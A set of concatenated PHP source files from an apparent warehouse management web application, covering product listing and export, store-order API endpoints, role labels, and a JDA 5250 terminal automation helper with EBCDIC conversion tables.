'limit' => NULL
);
$results = ProductList::getProductLists($arrParams);
$output = Lang::get('product_list.col_prod_sku') . ',';
$output .= Lang::get('product_list.col_prod_upc') . ',';
$output .= Lang::get('product_list.col_prod_full_name') . ',';
$output .= Lang::get('product_list.col_prod_short_name') . ',';
$output .= Lang::get('product_list.col_department') . ',';
$output .= Lang::get('product_list.col_sub_department') . "\n";
foreach ($results as $value) {
$exportData = array(
'"' . $value->sku . '"',
'"' . $value->upc . '"',
'"' . $value->description . '"',
'"' . $value->short_description . '"',
'"' . $value->dept_code . ' - ' . $value->dept_name . '"',
'"' . $value->sub_dept . ' - ' . $value->sub_dept_name . '"'
);
$output .= implode(",", $exportData);
$output .= "\n";
}
$headers = array(
'Content-Type' => 'text/csv',
'Content-Disposition' => 'attachment; filename="productList_' . date('Ymd') . '_' . time() . '.csv"',
);
return Response::make(rtrim($output, "\n"), 200, $headers);
}*/
public function exportCSV() {
// Check Permissions
if (Session::has('permissions')) {
if (!in_array('CanExportProductMasterList', unserialize(Session::get('permissions')))) {
return Redirect::to('products');
}
} else {
return Redirect::to('users/logout');
}
$this->data = Lang::get('product_list');
$this->data['text_empty_results'] = Lang::get('general.text_empty_results');
$arrParams = array(
'filter_prod_sku' => Input::get('filter_prod_sku', NULL),
'filter_prod_upc' => Input::get('filter_prod_upc', NULL),
'filter_prod_full_name' => Input::get('filter_prod_full_name', NULL),
'filter_prod_short_name' => Input::get('filter_prod_short_name', NULL),
'filter_dept_no' => Input::get('filter_dept_no', NULL),
'filter_sub_dept_no' => Input::get('filter_sub_dept_no', NULL),
'sort' => Input::get('sort', 'sku'),
'order' => Input::get('order', 'ASC'),
'page' => NULL,
'limit' => NULL
);
$results = ProductList::getProductLists($arrParams);
$this->data['results'] = $results;
$pdf = App::make('dompdf');
$pdf->loadView('products.report_list', $this->data)->setPaper('a4')->setOrientation('landscape');
// return $pdf->stream();
return $pdf->download('products_' . date('Ymd') . '.pdf');
}
public function getSubDepartments() {
$filter_dept_no = Input::get('filter_dept_no', NULL);
$sub_departments = array();
foreach (Department::getSubDepartments($filter_dept_no) as $item) {
$sub_departments[$item->sub_dept] = $item->sub_dept . ' - ' . $item->description;
}
$filter_sub_department_options = $sub_departments;
return Response::json($filter_sub_department_options);
}
protected function getList() {
$this->data['heading_title'] = Lang::get('product_list.heading_title');
$this->data['text_empty_results'] = Lang::get('general.text_empty_results');
$this->data['text_total'] = Lang::get('general.text_total');
$this->data['label_filter_prod_sku'] = Lang::get('product_list.label_filter_prod_sku');
$this->data['label_filter_prod_upc'] = Lang::get('product_list.label_filter_prod_upc');
$this->data['label_filter_prod_full_name'] = Lang::get('product_list.label_filter_prod_full_name');
$this->data['label_filter_prod_short_name'] = Lang::get('product_list.label_filter_prod_short_name');
$this->data['label_filter_dept_name'] = Lang::get('product_list.label_filter_dept_name');
$this->data['label_filter_sub_dept_name'] = Lang::get('product_list.label_filter_sub_dept_name');
$this->data['col_id'] = Lang::get('product_list.col_id');
$this->data['col_prod_sku'] = Lang::get('product_list.col_prod_sku');
$this->data['col_prod_upc'] = Lang::get('product_list.col_prod_upc');
$this->data['col_prod_full_name'] = Lang::get('product_list.col_prod_full_name');
$this->data['col_prod_short_name'] = Lang::get('product_list.col_prod_short_name');
$this->data['col_department'] = Lang::get('product_list.col_department');
$this->data['col_sub_department'] = Lang::get('product_list.col_sub_department');
$this->data['button_search'] = Lang::get('general.button_search');
$this->data['button_clear'] = Lang::get('general.button_clear');
$this->data['button_export'] = Lang::get('general.button_export');
$this->data['button_jda'] = Lang::get('general.button_jda');
// URL
$this->data['url_export'] = URL::to('products/export');
$this->data['url_department'] = URL::to('products/department');
// Search Filters
$filter_prod_sku = Input::get('filter_prod_sku', NULL);
$filter_prod_upc = Input::get('filter_prod_upc', NULL);
$filter_prod_full_name = Input::get('filter_prod_full_name', NULL);
$filter_prod_short_name = Input::get('filter_prod_short_name', NULL);
$filter_dept_no = Input::get('filter_dept_no', NULL);
$filter_sub_dept_no = Input::get('filter_sub_dept_no', NULL);
// Search Options
$departments = array();
foreach (Department::getDepartments() as $item) {
$departments[$item->dept_code] = $item->dept_code . ' - ' . $item->description;
}
$this->data['filter_department_options'] = array('' => Lang::get('general.text_select')) + $departments;
$sub_departments = array();
foreach (Department::getSubDepartments($filter_dept_no) as $item) {
$sub_departments[$item->sub_dept] = $item->sub_dept . ' - ' . $item->description;
}
$this->data['filter_sub_department_options'] = array('' => Lang::get('general.text_select')) + $sub_departments;
// Data
$page = Input::get('page', 1);
$sort = Input::get('sort', 'sku');
$order = Input::get('order', 'ASC');
$arrParams = array(
'filter_prod_sku' => $filter_prod_sku,
'filter_prod_upc' => $filter_prod_upc,
'filter_prod_full_name' => $filter_prod_full_name,
'filter_prod_short_name' => $filter_prod_short_name,
'filter_dept_no' => $filter_dept_no,
'filter_sub_dept_no' => $filter_sub_dept_no,
'sort' => $sort,
'order' => $order,
'page' => $page,
'limit' => 30
);
$results = ProductList::getProductLists($arrParams);
DebugHelper::log(__METHOD__, $results);
$results_total = ProductList::getCountProductLists($arrParams);
DebugHelper::log(__METHOD__, $results_total);
// Pagination
$this->data['arrFilters'] = array(
'filter_prod_sku' => $filter_prod_sku,
'filter_prod_upc' => $filter_prod_upc,
'filter_prod_full_name' => $filter_prod_full_name,
'filter_prod_short_name' => $filter_prod_short_name,
'filter_dept_no' => $filter_dept_no,
'filter_sub_dept_no' => $filter_sub_dept_no,
'sort' => $sort,
'order' => $order
);
$this->data['products'] = Paginator::make($results, $results_total, 30);
$this->data['products_count'] = $results_total;
$this->data['counter'] = $this->data['products']->getFrom();
$this->data['filter_prod_sku'] = $filter_prod_sku;
$this->data['filter_prod_upc'] = $filter_prod_upc;
$this->data['filter_prod_full_name'] = $filter_prod_full_name;
$this->data['filter_prod_short_name'] = $filter_prod_short_name;
$this->data['filter_dept_no'] = $filter_dept_no;
$this->data['filter_sub_dept_no'] = $filter_sub_dept_no;
$this->data['sort'] = $sort;
$this->data['order'] = $order;
$this->data['page'] = $page;
$url = '?filter_prod_sku=' . $filter_prod_sku . '&filter_prod_upc=' . $filter_prod_upc;
$url .= '&filter_prod_full_name=' . $filter_prod_full_name . '&filter_prod_short_name=' . $filter_prod_short_name;
$url .= '&filter_dept_no=' . $filter_dept_no . '&filter_sub_dept_no=' . $filter_sub_dept_no;
$url .= '&page=' . $page;
$order_id = ($sort=='id' && $order=='ASC') ? 'DESC' : 'ASC';
$order_sku = ($sort=='sku' && $order=='ASC') ? 'DESC' : 'ASC';
$order_upc = ($sort=='upc' && $order=='ASC') ? 'DESC' : 'ASC';
$order_full_name = ($sort=='full_name' && $order=='ASC') ? 'DESC' : 'ASC';
$order_short_name = ($sort=='short_name' && $order=='ASC') ? 'DESC' : 'ASC';
$order_dept = ($sort=='dept' && $order=='ASC') ? 'DESC' : 'ASC';
$order_sub_dept = ($sort=='sub_dept' && $order=='ASC') ? 'DESC' : 'ASC';
$this->data['sort_id'] = URL::to('products' . $url . '&sort=id&order=' . $order_id, NULL, FALSE);
$this->data['sort_sku'] = URL::to('products' . $url . '&sort=sku&order=' . $order_sku, NULL, FALSE);
$this->data['sort_upc'] = URL::to('products' . $url . '&sort=upc&order=' . $order_upc, NULL, FALSE);
$this->data['sort_full_name'] = URL::to('products' . $url . '&sort=full_name&order=' . $order_full_name, NULL, FALSE);
$this->data['sort_short_name'] = URL::to('products' . $url . '&sort=short_name&order=' . $order_short_name, NULL, FALSE);
$this->data['sort_dept'] = URL::to('products' . $url . '&sort=dept&order=' . $order_dept, NULL, FALSE);
$this->data['sort_sub_dept'] = URL::to('products' . $url . '&sort=sub_dept&order=' . $order_sub_dept, NULL, FALSE);
// Permissions
$this->data['permissions'] = unserialize(Session::get('permissions'));
$this->layout->content = View::make('products.list', $this->data);
}
}<file_sep><?php
return array(
'heading_title' => 'User Roles',
'heading_title_insert' => 'New User Role',
'heading_title_update' => 'Update User Role',
'text_success_insert' => 'Successfully created a new role!',
'text_success_update' => 'Successfully updated the role!',
'text_success_delete' => 'Successfully deleted the selected roles!',
'label_filter_role_name' => 'Role:',
'col_id' => 'No.',
'col_role_name' => 'Role',
'col_action' => 'Action',
'col_module' => 'Module',
'col_access' => 'Access',
'col_insert' => 'Insert',
'col_update' => 'Update',
'col_delete' => 'Delete',
'col_generate' => 'Generate Pell no',
'col_export' => 'Export',
'col_password' => '<PASSWORD>',
'col_archive' => 'Archive',
'col_jda' => 'Pull Data (JDA)',
'col_stock_piler' => 'Assign to Piler / Box',
'col_closed_po' => 'Close Module',
'col_closed_so' => 'Close SO',
'col_generate_letdown' => 'Generate Letdown List',
'col_return_warehouse' => 'Return to Warehouse',
'module_purchase_orders' => 'Purchase Orders',
'module_purchase_order_details' => 'Purchase Order Details',
'module_store_orders' => 'Store Orders',
'module_store_order_details' => 'Store Order Details',
'module_picking' => 'Letdown',
'module_packing' => 'Picking / Packing',
'module_boxing_loading' => 'Boxing/Loading',
'module_shipping' => 'Loading / Shipping',
'module_inventory' => 'Inventory',
'module_inventory_details' => 'Inventory Details',
'module_product_master_list' => 'Product Master List',
'module_slot_master_list' => 'Slot Master List',
'module_vendor_master_list' => 'Vendor Master List',
'module_store_master_list' => 'Store Master List',
'module_users' => 'Users',
'module_user_roles' => 'User Roles',
'module_audit_trail' => 'Audit Trail',
'module_settings' => 'Settings',
'module_stock_piler' => 'Stock Piler',
'module_unlisted' => 'Unlisted',
'module_expiry_items' => 'Expiry Items',
'module_subloc_receiving' => 'Subloc MTS Receiving',
'module_subloc_picking' => 'Subloc Picking ',
'module_subloc_loading' => 'Subloc Loading',
'module_return_warehouse' => 'Return to Warehouse',
'button_insert' => 'Add New User Role',
'button_delete' => 'Delete User Roles',
'entry_role_name' => 'Role Name:',
'entry_permissions' => 'Permissions:',
);<file_sep><?php
class ApiStoreOrder extends BaseController {
public function __construct() {
date_default_timezone_set('Asia/Manila');
}
/**
* Gets upcs for the store using store order list
*
* @example www.example.com/api/{version}/store_order/list
*
* @return json encoded array of upcs
*/
public static function getProductList($storeCode)
{
try {
$load_code = Request::get('load_code');
if( isset($load_code) == FALSE ) throw new Exception( 'Missing load code parameter.');
if(! CommonHelper::hasValue($storeCode) ) throw new Exception( 'Missing store code parameter.');
$params = array('storeCode' => $storeCode, 'loadCode' => Request::get('load_code'));
$upcs = StoreOrderDetail::getProductList($params);
DebugHelper::log(__METHOD__, $upcs);
return Response::json(array(
'error' => false,
'message' => 'Success',
'result' => $upcs),
200
);
} catch (Exception $e) {
Log::error(__METHOD__ .' Something went wrong: '.print_r($e->getMessage(),true));
return Response::json(array(
"error" => true,
"result" => $e->getMessage()),
400
);
}
}
/**
* Gets upcs for the store using store order list
*
* @example www.example.com/api/{version}/store_order/loads
*
* @return json encoded array of loads
*/
public static function getLoads($storeCode)
{
try {
if(! CommonHelper::hasValue($storeCode) ) throw new Exception( 'Missing store code parameter.');
$loads = StoreOrder::getLoadList($storeCode);
DebugHelper::log(__METHOD__, $loads);
return Response::json(array(
'error' => false,
'message' => 'Success',
'result' => $loads->toArray()),
200
);
} catch (Exception $e) {
Log::error(__METHOD__ .' Something went wrong: '.print_r($e->getMessage(),true));
return Response::json(array(
"error" => true,
"result" => $e->getMessage()),
400
);
}
}
/**
* Post store receiving data
*
* @example www.example.com/api/{version}/store_order/receive
*
* @param sku sku/upc of product
* @param load_code load code of the product
* @param store_code store code of the product
* @param received_qty store code of the product
* @throws Some_Exception_Class If something interesting cannot happen
* @return Status
*/
public static function postReceive()
{
try {
CommonHelper::setRequiredFields(array('sku', 'load_code', 'store_code', 'received_qty'));
$sku = Request::get('sku');
$loadCode = Request::get('load_code');
$storeCode = Request::get('store_code');
$receivedQty = $receivedQtyOrig = Request::get('received_qty');
$storeOrderDetails = StoreOrderDetail::getStoreOrderDetail($storeCode, $loadCode, $sku);
$totalToReceive = 0;
foreach ($storeOrderDetails as $detail) {
$qtyToMove = 0;
if((int)$detail->ordered_qty <= $receivedQty) {
$qtyToMove = (int) $detail->ordered_qty;
$movedQty = $receivedQty - (int) $detail->ordered_qty;
} else {
$qtyToMove = $receivedQty;
$movedQty = 0;
}
if($qtyToMove > 0) {
StoreOrderDetail::receiveSo($detail->id, $qtyToMove);
}
$totalToReceive += $detail->ordered_qty;
}
self::checkMovedQty($totalToReceive, $receivedQtyOrig);
return Response::json(array(
'error' => false,
'message' => 'Success'),
200
);
} catch (Exception $e) {
return Response::json(array(
"error" => true,
"result" => $e->getMessage()),
400
);
}
}
/**
* Close store order status
*
* @example www.example.com/api/{version}/store_order/close
*
* @param load_code load code to change status
* @return Status
*/
public static function closeStoreOrders()
{
try {
CommonHelper::setRequiredFields(array('load_code', 'store_code'));
$loadCode = Request::get('load_code');
$storeCode = Request::get('store_code');
StoreOrder::closeStoreOrdersByLoad($loadCode, $storeCode);
return Response::json(array(
'error' => false,
'message' => 'Success'),
200
);
} catch (Exception $e) {
return Response::json(array(
"error" => true,
"result" => $e->getMessage()),
400
);
}
}
public static function checkMovedQty($orderedQty, $receivedQty)
{
if($orderedQty< $receivedQty) {
throw new Exception("Received quantity is greater than ordered quantity.");
}
}
}<file_sep><?php
class StoreReturnLoad extends Eloquent {
protected $table = 'store_return_load';
protected $guarded = array();
/**
* The database table used by the model.
*
* @var string
*/
/*****For cms*****/
public static function getLoadList($tlnumber)
{
$query=db::select(DB::rAw("SELECT * "));
return $query;
}
public static function getLoadNumberStocktransfer($data = array(), $getCount = false)
{
$query = DB::table('store_return_load');
CommonHelper::filternator($query,$data,2,$getCount);
if( CommonHelper::hasValue($data['filter_entry_date']) ) $query->where('created_at', 'LIKE', '%'.$data['filter_entry_date'].'%');
$result = $query->get();
if($getCount) {
$result = count($result);
}
return $result;
}
public static function assignToStockPiler($Box_code = '', $data = array())
{
$query = load::where('load_code', '=', $Box_code)->update($data);
DebugHelper::log(__METHOD__, $query);
}
}<file_sep><?php
class HomeController extends BaseController {
private $data = array();
/*
|--------------------------------------------------------------------------
| Default Home Controller
|--------------------------------------------------------------------------
|
| You may wish to use controllers instead of, or in addition to, Closure
| based routes. That's great! Here is an example controller method to
| get you started. To route to this controller, just add the route:
|
| Route::get('/', 'HomeController@showWelcome');
|
*/
protected $layout = "layouts.main";
public function __construct() {
$this->beforeFilter('csrf', array('on' => 'post'));
}
public function showIndex() {
if(Auth::check())
{
return Redirect::to('purchase_order');
}
else {
$this->data['heading_title_login'] = Lang::get('users.heading_title_login');
$this->data['heading_subtitle_login'] = Lang::get('users.heading_subtitle_login');
$this->data['entry_username'] = Lang::get('users.entry_username');
$this->data['entry_password'] = <PASSWORD>('<PASSWORD>');
$this->data['button_signin'] = Lang::get('general.button_signin');
$this->layout->content = View::make('users.login', $this->data);
}
}
/*
*
* @return Possible status
*
*/
public static function getStatusValues()
{
$status = Config::get('statuses');
return Response::json(array(
'error' => false,
'message' => $status),
200
);
}
}<file_sep><?php
class BoxManifestSeeder extends Seeder {
/**
* Run the database seeds.
*
* @return void
*/
public function run() {
DB::table('box_manifest')->truncate();
DB::table('box_manifest_detail')->truncate();
}
}<file_sep><?php
class ApiProductList extends BaseController {
/**
* Display a product listing of the resource.
*
* @return Response
*/
public function index() {
try {
$products = ProductList::all();
/*$items = $products->toArray();
$totalItems = ProductLists::count();
$perPage = 10;
$product = Paginator::make($items, $totalItems, $perPage);*/
// DebugHelper::log(__METHOD__, $products->toArray());
return Response::json(array(
'error' => false,
'message' => 'Success',
'result' => $products->toArray()),
200
);
}catch(Exception $e) {
return Response::json(array(
"error" => true,
"result" => $e->getMessage()),
400
);
}
}
public function checkUpc() {
try {
CommonHelper::setRequiredFields(array('upc'));
$upc = Request::get('upc');
ProductList::checkIfUpcExist($upc);
return CommonHelper::return_success();
}catch(Exception $e) {
Log::error(__METHOD__ .' Something went wrong: '.print_r($e->getMessage(),true));
return CommonHelper::return_fail($e->getMessage());
}
}
}<file_sep><?php
chdir(dirname(__FILE__));
include_once('../../config/config.php');
include_once("jda5250.php");
class jdaCustomClass
{
public static $jda;
public static $scrCounter;
public static $timers = array();
public static $start_time;
public static $lastTime;
public static $successFlag = 1; // upon success syncing
public static $errorFlag = 2; // when error occured during jda syncing
public static function login()
{
$creds = jda_credentials();
echo "core/jdahelper5250: ".$creds['jda_lib']. "\n";
self::$start_time = microtime(true);
self::$lastTime = microtime(true);
echo "Connecting to JDA \n";
self::$jda = new jdatelnet("jdaprod2.rgoc.com.ph",3);
self::$jda->screenWait("Password");
self::$jda->login($creds['user'],$creds['password'],$creds['jda_lib']);
}
public static function display($screen,$width=132){
self::$scrCounter;
self::$scrCounter++;
printf("%04d",self::$scrCounter);
for($i = 4; $i<$width; $i++){
echo "-";
}
echo "\n";
print_r(chunk_split($screen,$width));
for($i = 0; $i<$width; $i++){
echo "-";
}
echo "\n";
}
public static function set_timer($label){
$now_time = microtime(true);
$interval = $now_time - self::$last_time;
$elapsed = $now_time - self::$start_time;
self::$last_time = $now_time;
$timer = array("label"=>$label,"now" =>$now_time,"interval"=>$interval, "elapsed"=>$elapsed);
$timers[] = self::$timer;
return self::$timer;
}
public static function show_timers()
{
self::$timers;
printf("%20s%10s%10s%10s\n","Label", "Interval","Interval","Elapsed");
foreach(self::$timers as self::$timer){
extract(self::$timer);
$mins = floor($interval / 60);
$secs = $interval % 60;
$interval_mins = "$mins:$secs";
printf("%20s%10d%10s%10d\n",$label, $interval,$interval_mins,$elapsed);
}
}
public static function checkRecoverJob()
{
#check if user entered this screen
if(self::$jda->screenCheck("Attempt to Recover Interactive Job")) {
echo " Resetting...\n";
self::$jda->write5250(array(array("90",22,07)),ENTER,true);
$params=array();
$params[] = array(6,38,"YES ");
$params[] = array(7,38,"YES");
self::$jda->write5250($params,ENTER,true);
echo " Done!\n";
self::$jda->close();
# login again
self::login();
}
}
public static function checkJobOnProgress()
{
#happens when a job is currently performed with the same account
self::display(self::$jda->screen,132);
self::$jda->screenWait("Press Enter to continue");
if(self::$jda->screenCheck("Press Enter to continue") || self::$jda->screenCheck("(if required), press Enter")) {
echo 'saw enter to cont';
self::$jda->write5250(null,ENTER,true);
}
}
public static function enterDistributionManagement()
{
self::$jda->screenWait("Distribution Center Management");
self::display(self::$jda->screen,132);
self::$jda->write5250(array(array("13",22,44)),ENTER,true);
echo "Entered: Distribution Center Management \n";
}
public static function pressEnter()
{
self::$jda->screenWait("Press {ENTER}");
self::display(self::$jda->screen,132);
self::$jda->write5250(NULL,ENTER,true);
echo "Entered: Pressed Enter Key \n";
}
public static function pressF1()
{
self::$jda->screenWait("F1=Return");
self::display(self::$jda->screen,132);
self::$jda->write5250(NULL,F1,true);
echo "Entered: Pressed F1 Key \n";
}
public static function pressF7()
{
self::$jda->screenWait("F7=Close");
self::display(self::$jda->screen,132);
self::$jda->write5250(NULL,F7,true);
echo "Entered: Pressed F7 Key \n";
}
public static function pressF10()
{
self::$jda->screenWait("F10=Submit");
self::display(self::$jda->screen,132);
self::$jda->write5250(NULL,F10,true);
echo "Entered: Pressed F10 Key \n";
}
public static function enterWarning()
{
self::$jda->screenWait("You have requested to Exit");
self::display(self::$jda->screen,132);
self::$jda->write5250(NULL,F1,true);
echo "Entered: Warning Message \n";
}
public static function pressF9()
{
self::$jda->write5250(NULL,F9,true);
echo "Entered: Pressed F9 Key \n";
}
#box/palletizing
public static function enterWarehouseMaintenance()
{
self::$jda->screenWait("Warehouse Maintenance");
self::display(self::$jda->screen,132);
self::$jda->write5250(array(array("04",22,44)),ENTER,true);
echo "Entered: Warehouse Maintenance \n";
}
#box/palletizing
public static function enterCartonPalletLoadMaintenance()
{
self::$jda->screenWait("Load Maintenance");
self::display(self::$jda->screen,132);
self::$jda->write5250(array(array("10",22,44)),ENTER,true);
echo "Entered: Carton Pallet Load Maintenance \n";
}
/*public function pressF1By7Times()
{
# F1 to Return
self::checkRecoverJob();
$tries = 0;
while($tries++ < 7){
echo "\n Press F1 & tries: {$tries} \n";
self::$jda->set_pos(6,8);
self::display(self::$jda->screen,132);
self::$jda->write5250(null,F1,true);
if(self::$jda->screenCheck("Program Messages"))
{
self::$jda->write5250(null,F12,true);
}
}
self::show_timers();
echo "End\n";
}*/
public function logout()
{
# F1 to Return
$tries = 0;
while($tries++ < 5 && !self::$jda->screenCheck("F7=Signoff")){
echo "\n F7 not found & tries: {$tries} \n";
self::$jda->set_pos(6,8);
self::$jda->write5250(null,F1,true);
/*if(self::$jda->screenCheck("Program Messages - Help"))
{
self::$jda->write5250(null,F3,true);
echo "Entered: Program Messages \n";
if(self::$jda->screenCheck("Display Program Messages"))
{
self::$jda->write5250(null,ENTER,true);
echo "Entered: Display Program Messages \n";
break;
}
}*/
}
echo "F1 to return\n";
self::display(self::$jda->screen,132);
# F7 to signoff
self::$jda->write5250(null,F7,true); // Enter F7 to signoff
echo "F7 to signoff\n";
self::display(self::$jda->screen,132);
self::$jda->close();
self::show_timers();
echo "End\n";
}
public static function logError($error_message, $method) {
#format: [2014-05-22 07:05:17] ERROR: SlotDetails::getSlotDetailsMain with message "message"
$date = date('Y-m-d H:i:s');
$errorMsgFormat = "[{$date}] ERROR: {$method} with message \"{$error_message}\" \n";
error_log("{$errorMsgFormat}", 3, dirname(__FILE__)."/../logs/jda-errors.log");
}
}
<file_sep><?php
/*
EBCDIC ASCII EBCDIC Meaning EBCDIC ASCII EBCDIC Meaning
00 00 NUL 80 1A
01 01 SOH 81 61 a
02 02 STX 82 62 b
03 03 ETX 83 63 c
04 1A SEL 84 64 d
05 09 HT 85 65 e
06 1A RNL 86 66 f
07 7F DEL 87 67 g
08 1A GE 88 68 h
09 1A SPS 89 69 i
0A 1A RPT 8A 1A
0B 0B VT 8B 1A
0C 0C FF 8C 1A
0D 0D CR 8D 1A
0E 0E SO 8E 1A
0F 0F SI 8F 1A
10 10 DLE 90 1A
11 11 DC1 91 6A j
12 12 DC2 92 6B k
13 13 DC3 93 6C l
14 1A RES/ENP 94 6D m
15 1A NL 95 6E n
16 08 BS 96 6F o
17 1A POC 97 70 p
18 18 CAN 98 71 q
19 19 EM 99 72 r
1A 1A UBS 9A 1A
1B 1A CU1 9B 1A
1C 1C IFS 9C 1A
1D 1D IGS 9D 1A
1E 1E IRS 9E 1A
1F 1F ITB/IUS 9F 1A
20 1A DS A0 1A
21 1A SOS A1 7E 8
22 1A FS A2 73 s
23 1A WUS A3 74 t
24 1A BYP/INP A4 75 u
25 0A LF A5 76 v
26 17 ETB A6 77 w
27 1B ESC A7 78 x
28 1A SA A8 79 y
29 1A SFE A9 7A z
2A 1A SM/SW AA 1A
2B 1A CSP AB 1A
2C 1A MFA AC 1A
2D 05 ENQ AD 1A
2E 06 ACK AE 1A
2F 07 BEL AF 1A
30 1A B0 1A
31 1A B1 1A
32 16 SYN B2 1A
33 1A IR B3 1A
34 1A PP B4 1A
35 1A TRN B5 1A
36 1A NBS B6 1A
37 04 EOT B7 1A
38 1A SBS B8 1A
39 1A IT B9 1A
3A 1A RFF BA 1A
3B 1A CU3 BB 1A
3C 14 DC4 BC 1A
3D 15 NAK BD 1A
3E 1A BE 1A
3F 1A SUB BF 1A
40 20 (space) C0 7B
41 1A RSP C1 41 A
42 1A C2 42 B
43 1A C3 43 C
44 1A C4 44 D
45 1A C5 45 E
46 1A C6 46 F
47 1A C7 47 G
48 1A C8 48 H
49 1A C9 49 I
4A 5B ¢ CA 1A
4B 2E . CB 1A
4C 3C < CC 1A
4D 28 ( CD 1A
4E 2B + CE 1A
4F 21 | CF 1A
50 26 & D0 7D
51 1A D1 4A J
52 1A D2 4B K
53 1A D3 4C L
54 1A D4 4D M
55 1A D5 4E N
56 1A D6 4F O
57 1A D7 50 P
58 1A D8 51 Q
59 1A D9 52 R
5A 5D ! DA 1A
5B 24 $ DB 1A
5C 2A * DC 1A
5D 29 ) DD 1A
5E 3B ; DE 1A
5F 5E ? DF 1A
60 2D _ E0 5C \
61 1A / E1 1A
62 1A E2 53 S
63 1A E3 54 T
64 1A E4 55 U
65 1A E5 56 V
66 1A E6 57 W
67 1A E7 58 X
68 1A E8 59 Y
69 1A E9 5A Z
6A 7C EA 1A
6B 2C ‘ EB 1A
6C 25 EC 1A
6D 5F - ED 1A
6E 3E > EE 1A
6F 3F ? EF 1A
70 1A F0 30 0
71 1A F1 31 1
72 1A F2 32 2
73 1A F3 33 3
74 1A F4 34 4
75 1A F5 35 5
76 1A F6 36 6
77 1A F7 37 7
78 1A F8 38 8
79 60 F9 39 9
7A 3A : FA 1A
7B 23 # FB 1A
7C 40 @ FC 1A
7D 27 ' FD 1A
7E 3D = FE 1A
7F 22 " FF 1A
Parent topic: ASCII and EBCDIC conversion tables
*/
function myebcdictoascii($str){
global $ebcdic;
$len = strlen($str);
$new_str = "";
for($i = 0; $i<$len; $i++){
$index = ord($str[$i]);
$new_str .= chr($ebcdic[$index]);
}
return $new_str;
}
function myasciitoebcdic($str){
global $ascii;
$len = strlen($str);
$new_str = "";
for($i = 0; $i<$len; $i++){
$index = ord($str[$i]);
$new_str .= chr($ascii[$index]);
}
return $new_str;
}
function hexto5250($hexstring){
$len = strlen($hexstring);
$binary_string = "";
for($i = 0; $i<=$len-2; $i+=2){
$byte = substr($hexstring,$i,2);
$binary_string.= chr(hexdec($byte));
}
return $binary_string;
}
function my5250tohex($data){
$hexstr = '';
$len = strlen($data);
for($i = 0; $i <$len; $i++){
$byte = ord($data[$i]);
$hexstr .= sprintf("%02s",dechex($byte))." ";
}
return $hexstr;
}
$ebcdic[0x00]=0x00;
$ebcdic[0x01]=0x01;
$ebcdic[0x02]=0x02;
$ebcdic[0x03]=0x03;
$ebcdic[0x04]=0x20; # used to be 0x1A
$ebcdic[0x05]=0x09;
$ebcdic[0x06]=0x20; # used to be 0x1A
$ebcdic[0x07]=0x7F;
$ebcdic[0x08]=0x20; # used to be 0x1A
$ebcdic[0x09]=0x20; # used to be 0x1A
$ebcdic[0x0A]=0x20; # used to be 0x1A
$ebcdic[0x0B]=0x0B;
$ebcdic[0x0C]=0x0C;
$ebcdic[0x0D]=0x0D;
$ebcdic[0x0E]=0x0E;
$ebcdic[0x0F]=0x0F;
$ebcdic[0x10]=0x10;
$ebcdic[0x11]=0x11;
$ebcdic[0x12]=0x12;
$ebcdic[0x13]=0x13;
$ebcdic[0x14]=0x20; # used to be 0x1A
$ebcdic[0x15]=0x20; # used to be 0x1A
$ebcdic[0x16]=0x08;
$ebcdic[0x17]=0x20; # used to be 0x1A
$ebcdic[0x18]=0x18;
$ebcdic[0x19]=0x19;
$ebcdic[0x1A]=0x20; # used to be 0x1A
$ebcdic[0x1B]=0x20; # used to be 0x1A
$ebcdic[0x1C]=0x1C;
$ebcdic[0x1D]=0x1D;
$ebcdic[0x1E]=0x1E;
$ebcdic[0x1F]=0x1F;
$ebcdic[0x20]=0x1A; # used to be 0x1A
$ebcdic[0x21]=0x20; # used to be 0x1A
$ebcdic[0x22]=0x20; # used to be 0x1A
$ebcdic[0x23]=0x20; # used to be 0x1A
$ebcdic[0x24]=0x20; # used to be 0x1A
$ebcdic[0x25]=0x0A;
$ebcdic[0x26]=0x17;
$ebcdic[0x27]=0x1B;
$ebcdic[0x28]=0x20; # used to be 0x1A
$ebcdic[0x29]=0x20; # used to be 0x1A
$ebcdic[0x2A]=0x20; # used to be 0x1A
$ebcdic[0x2B]=0x20; # used to be 0x1A
$ebcdic[0x2C]=0x20; # used to be 0x1A
$ebcdic[0x2D]=0x05;
$ebcdic[0x2E]=0x06;
$ebcdic[0x2F]=0x07;
$ebcdic[0x30]=0x20; # used to be 0x1A
$ebcdic[0x31]=0x20; # used to be 0x1A
$ebcdic[0x32]=0x16;
$ebcdic[0x33]=0x20; # used to be 0x1A
$ebcdic[0x34]=0x20; # used to be 0x1A
$ebcdic[0x35]=0x20; # used to be 0x1A
$ebcdic[0x36]=0x20; # used to be 0x1A
$ebcdic[0x37]=0x04;
$ebcdic[0x38]=0x20; # used to be 0x1A
$ebcdic[0x39]=0x20; # used to be 0x1A
$ebcdic[0x3A]=0x20; # used to be 0x1A
$ebcdic[0x3B]=0x20; # used to be 0x1A
$ebcdic[0x3C]=0x20; # used to be 0x14
$ebcdic[0x3D]=0x15; # user to be 0x15
$ebcdic[0x3E]=0x20; # used to be 0x1A
$ebcdic[0x3F]=0x20; # used to be 0x1A
$ebcdic[0x40]=0x20;
$ebcdic[0x41]=0x20; # used to be 0x1A
$ebcdic[0x42]=0x20; # used to be 0x1A
$ebcdic[0x43]=0x20; # used to be 0x1A
$ebcdic[0x44]=0x20; # used to be 0x1A
$ebcdic[0x45]=0x20; # used to be 0x1A
$ebcdic[0x46]=0x20; # used to be 0x1A
$ebcdic[0x47]=0x20; # used to be 0x1A
$ebcdic[0x48]=0x20; # used to be 0x1A
$ebcdic[0x49]=0x20; # used to be 0x1A
$ebcdic[0x4A]=0x5B;
$ebcdic[0x4B]=0x2E;
$ebcdic[0x4C]=0x3C;
$ebcdic[0x4D]=0x28;
$ebcdic[0x4E]=0x2B;
$ebcdic[0x4F]=0x21;
$ebcdic[0x50]=0x26;
$ebcdic[0x51]=0x20; # used to be 0x1A
$ebcdic[0x52]=0x20; # used to be 0x1A
$ebcdic[0x53]=0x20; # used to be 0x1A
$ebcdic[0x54]=0x20; # used to be 0x1A
$ebcdic[0x55]=0x20; # used to be 0x1A
$ebcdic[0x56]=0x20; # used to be 0x1A
$ebcdic[0x57]=0x20; # used to be 0x1A
$ebcdic[0x58]=0x20; # used to be 0x1A
$ebcdic[0x59]=0x20; # used to be 0x1A
$ebcdic[0x5A]=0x5D;
$ebcdic[0x5B]=0x24;
$ebcdic[0x5C]=0x2A;
$ebcdic[0x5D]=0x29;
$ebcdic[0x5E]=0x3B;
$ebcdic[0x5F]=0x5E;
$ebcdic[0x60]=0x2D;
